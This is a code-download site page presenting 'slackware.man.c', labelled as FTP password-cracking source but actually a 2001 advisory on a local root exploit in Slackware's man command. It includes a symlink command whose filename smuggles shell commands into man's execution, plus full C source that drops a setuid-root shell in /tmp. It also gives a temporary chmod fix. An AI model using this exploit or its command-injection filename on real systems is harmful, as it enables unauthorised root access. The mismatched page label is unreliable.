⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 slackware.man.c

📁 一个FTP密码破解程序的源代码
💻 C
字号:
The following advisory was sent to slackware July 11th, 2001, they failedto respond so I hope the temporary patch will make do:Submitted by  : Josh (josh@pulltheplug.com), lockdown (lockdown@lockeddown.net)                zen-parse (zen-parse@gmx.net)Vulnerability : /usr/bin/manTested On     : Slackware 8.0 and before.Local         : YesRemote        : NoTemporary Fix : chmod 700 /var/man/cat*Target        : root or any other user that uses manGreets to     : alpha, fr3n3tic, omega, eazyass, remmy, RedPen, banned-it,                slider, cryptix, s0ttle, xphantom, qtip, Sultrix, Defiance,                Insane, rusko, falcon-networks.com.See also      : http://www.securityfocus.com/vdb/?id=2815        Slackware 8.0 and previous issues of Slackware are released with/var/man/cat*/ chmod 1777:drwxrwxrwt 2 root root 4096 Jul 11 11:03 cat*/Since these directories are world writeable we can create symlinks therelike so:`ln -s "/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;export PATH=.;script;man.7"/var/man/cat7/man.7.gz`When `/usr/bin/man man` is executed by root, it will create/var/man/cat7/man.1.gz.  The symlink forces it to create a file in/usr/man/man7 named:"/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;exportPATH=.;script;man.7.gz."/usr/bin/man will then execute /tmp/script which contains:#include <stdio.h>#include <unistd.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/wait.h>#include <errno.h>int main(){  FILE *fil;  mode_t perm = 06711;  if(!getuid()) {    fil = fopen("/tmp/bleh.c","w");    fprintf(fil,"%s\n","#include <unistd.h>");    fprintf(fil,"%s\n","#include <stdio.h>");    fprintf(fil,"%s\n","int main() {");    fprintf(fil,"%s\n","setreuid(0,0);setregid(0,0);");    fprintf(fil,"%s\n","execl(\"/bin/su\",\"su\",NULL);");    fprintf(fil,"%s\n","return 0; }");    fclose(fil);    system("/usr/bin/gcc -o /tmp/bleh /tmp/bleh.c");    unlink("/tmp/bleh.c");    chmod("/tmp/bleh", perm);  }   execl("/usr/bin/man","man","/usr/man/man7/man.7.gz",NULL);   return 0;}With the above code compiled in /tmp/script, if root were to run `man man`, asuid shell would be left in /tmp/bleh.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -